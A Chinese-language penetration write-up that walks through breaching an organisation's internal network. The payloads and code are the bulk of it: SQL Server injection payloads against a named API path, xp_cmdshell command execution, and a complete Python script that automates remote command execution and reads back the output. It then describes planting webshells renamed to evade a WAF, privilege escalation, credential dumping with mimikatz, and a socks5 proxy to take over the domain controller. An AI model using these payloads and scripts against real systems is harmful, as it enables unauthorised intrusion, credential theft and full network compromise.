0x00 前言
总结了一下,国内这些只要不是金融行业或*得互联网企业,边界一般情况下进去后都能打穿。而且内网基本上用不到太高深到方法。
0x01 渗透过程
一、注入点入口
对Web服务http://xx.xx.xx.xx:10805进行检测时,发现此端口为一开放的API服务,对其中的API进行检测,发现多个注入点,其后端数据库为Microsoft SQL Server 2008,包括多语句执行、Union联合注入等、盲注等,并可以开启XP_cmdshell进行命令执行。
1.注入点位置
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://xx.xx.xx.xx:10805/api/GetUser?userName=test' AND 6797=6797 AND 'TaoV'='TaoV&&password=123456
Vector: AND [INFERENCE]
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: http://xx.xx.xx.xx:10805/api/GetUser?userName=test';WAITFOR DELAY '0:0:5'--&&password=123456
Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: http://xx.xx.xx.xx:10805/api/GetUser?userName=test' WAITFOR DELAY '0:0:5'--&&password=123456
Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: http://xx.xx.xx.xx:10805/api/PersonWorkNoteStatisticsList/PersonWorkNoteStatisticsList?id=&pageIndex=1&StartTime=&EndTime=&Date=&UserName=%e9%82%93%e5%8b%87%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(98)+CHAR(112)+CHAR(98)+CHAR(113)+CHAR(77)+CHAR(109)+CHAR(113)+CHAR(66)+CHAR(114)+CHAR(100)+CHAR(79)+CHAR(66)+CHAR(118)+CHAR(110)+CHAR(116)+CHAR(85)+CHAR(104)+CHAR(88)+CHAR(106)+CHAR(69)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(101)+CHAR(87)+CHAR(122)+CHAR(77)+CHAR(122)+CHAR(78)+CHAR(83)+CHAR(107)+CHAR(97)+CHAR(98)+CHAR(103)+CHAR(71)+CHAR(101)+CHAR(79)+CHAR(67)+CHAR(115)+CHAR(99)+CHAR(81)+CHAR(80)+CHAR(108)+CHAR(84)+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(98)+CHAR(113),NULL,NULL,NULL-- -
Vector: UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,[QUERY],NULL,NULL,NULL
2.可访问的数据库
[*] aspnetdb
[*] CVSellReportExamineAPP
[*] dnt
[*] LQCVSalesTrain
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] SellReportExamine
[*] SharePoint_AdminContent_f3b5574b-cf4d-40a4-9d10-b67d0eb3a172
[*] SharePoint_Config
[*] tempdb
[*] test
[*] WSS_Content_10016
[*] WSS_Content_10017
[*] WSS_Content_8005_1
[*] WSS_Content_8006
3.利用xp_cmdshell执行命令
首先通过多语句执行,将执行的结果写入到临时表中:
/api/PersonWorkNoteStatisticsList/PersonWorkNoteStatisticsList?id=&pageIndex=1&StartTime=&EndTime=&Date=&UserName=1%25'%3bdelete+from+LQCVSalesTrain.dbo.sqlmapoutput%3binsert+into+LQCVSalesTrain.dbo.sqlmapoutput(data)+exec+master..xp_cmdshell+'whoami'%3b--+-
通过联合查询注入,获取命令结果的开始ID:
/api/PersonWorkNoteStatisticsList/PersonWorkNoteStatisticsList?id=&pageIndex=1&StartTime=&EndTime=&Date=&UserName=1%25'+UNION+ALL+SELECT+top+1+NULL,NULL,NULL,NULL,NULL,CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR(98)%2bCHAR(113)%2bISNULL(CAST((id)+AS+NVARCHAR(4000)),CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR(98)%2bCHAR(98)%2bCHAR(113),NULL,NULL,NULL+FROM+LQCVSalesTrain.dbo.sqlmapoutput--+-"
通过联合查询注入,获取命令结果的行数:
/api/PersonWorkNoteStatisticsList/PersonWorkNoteStatisticsList?id=&pageIndex=1&StartTime=&EndTime=&Date=&UserName=1%25'+UNION+ALL+SELECT+top+1+NULL,NULL,NULL,NULL,NULL,CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR(98)%2bCHAR(113)%2bISNULL(CAST(count(id)+AS+NVARCHAR(4000)),CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR(98)%2bCHAR(98)%2bCHAR(113),NULL,NULL,NULL+FROM+LQCVSalesTrain.dbo.sqlmapoutput--+-
再通过联合查询注入点,遍历执行结果的每一行,快速读取执行的结果:
/api/PersonWorkNoteStatisticsList/PersonWorkNoteStatisticsList?id=&pageIndex=1&StartTime=&EndTime=&Date=&UserName=1%25'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR(98)%2bCHAR(113)%2bISNULL(CAST((data)+AS+NVARCHAR(4000)),CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR(98)%2bCHAR(98)%2bCHAR(113),NULL,NULL,NULL+FROM+LQCVSalesTrain.dbo.sqlmapoutput+where+id%3d______--+-"
嫌弃sqlmap的回显,我自己用python写了脚本
import requests,re,sys headers = { 'Accept': '*/*', 'Origin': 'file://', 'User-Agent': 'Mozilla/5.0 (Linux; Android 4.4.2; Nexus Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36', 'Accept-Language': 'zh-CN,en-US;q=0.8', 'X-Requested-With': 'io.cordova.CVAPP', } if len(sys.argv) != 2: print('this.py cmd') sys.exit(0) url = "http://xx.xx.xx.xx:10805" cmd = 'net user' cmd = sys.argv[1] print('---------------- cmd ---------------------') print(cmd) print('------------------------------------------') payload = "/api/PersonWorkNoteStatisticsList/PersonWorkNoteStatisticsList?id=&pageIndex=1&StartTime=&EndTime=&Date=&UserName=" payload+= "1%25'%3bdelete+from+LQCVSalesTrain.dbo.sqlmapoutput%3binsert+into+LQCVSalesTrain.dbo.sqlmapoutput(data)+exec+master..xp_cmdshell+'_____'%3b--+-" payload = payload.replace('_____', cmd.replace(' ', '+')) rsp = requests.post(url+payload, headers=headers) payload = "/api/PersonWorkNoteStatisticsList/PersonWorkNoteStatisticsList?id=&pageIndex=1&StartTime=&EndTime=&Date=&UserName=" payload+= "1%25'+UNION+ALL+SELECT+top+1+NULL,NULL,NULL,NULL,NULL,CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR(98)%2bCHAR(113)%2bISNULL(CAST((id)+AS+NVARCHAR(4000)),CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR(98)%2bCHAR(98)%2bCHAR(113),NULL,NULL,NULL+FROM+LQCVSalesTrain.dbo.sqlmapoutput--+-" rsp = requests.post(url+payload, headers=headers) m = re.search('qbpbq(\d+)qpbbq', rsp.text, re.M) if m: headid = int(m.group(1)) print('The Head ID of Resutl:%d' % headid) else: print('Can not Get Head ID') print(rsp.text) sys.exit() payload = "/api/PersonWorkNoteStatisticsList/PersonWorkNoteStatisticsList?id=&pageIndex=1&StartTime=&EndTime=&Date=&UserName=" payload+= "1%25'+UNION+ALL+SELECT+top+1+NULL,NULL,NULL,NULL,NULL,CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR(98)%2bCHAR(113)%2bISNULL(CAST(count(id)+AS+NVARCHAR(4000)),CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR(98)%2bCHAR(98)%2bCHAR(113),NULL,NULL,NULL+FROM+LQCVSalesTrain.dbo.sqlmapoutput--+-" rsp = requests.post(url+payload, headers=headers) m = re.search('qbpbq(\d+)qpbbq', rsp.text, re.M) if m: rows = int(m.group(1)) print('The Rows of Resutl:%d' % rows) else: print('Can not Get Rows') print(rsp.text) sys.exit() for i in range(headid, headid+rows): payload = "/api/PersonWorkNoteStatisticsList/PersonWorkNoteStatisticsList?id=&pageIndex=1&StartTime=&EndTime=&Date=&UserName=" payload+= "1%25'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR(98)%2bCHAR(113)%2bISNULL(CAST((data)+AS+NVARCHAR(4000)),CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR(98)%2bCHAR(98)%2bCHAR(113),NULL,NULL,NULL+FROM+LQCVSalesTrain.dbo.sqlmapoutput+where+id%3d______--+-" payload = payload.replace('______', str(i)) rsp = requests.post(url+payload, headers=headers) m = re.search('qbpbq(.+?)qpbbq', rsp.text, re.M) if m: print(m.group(1)) else: print('-'*30) print('Read data error,ID:%d' % i)
部分执行图:
0x02、横向移动
通过上面信息的收集,发现web和数据库为站库分离,数据库的权限较大,可以直接IPC操作域控和Web服务器。由于数据库服务器和域控均不能连通外网,为了方便操作,先通过IPC写入了Webshell到Web服务器,过程如下:
1. 获取Web服务器(172.15.1.135)权限
建立IPC后:
查看IIS配置文件,找到了2个外网可以访问的Web的物理位置d:\train:
通过echo远程写入webshell:
把上传一个冰鞋马,把原有的webshell删除。注意冰蝎马尽量把名字和密码改掉,waf会检测名字和password。用烂土豆提了一下权。抓了密码。
C:/temp/log1.exe -p “whoami”
抓去密码
C:/temp/log1.exe -p “C:/temp/mz64.exe”
用nps做了一个socks5代理出来,登录域控。渗透结束。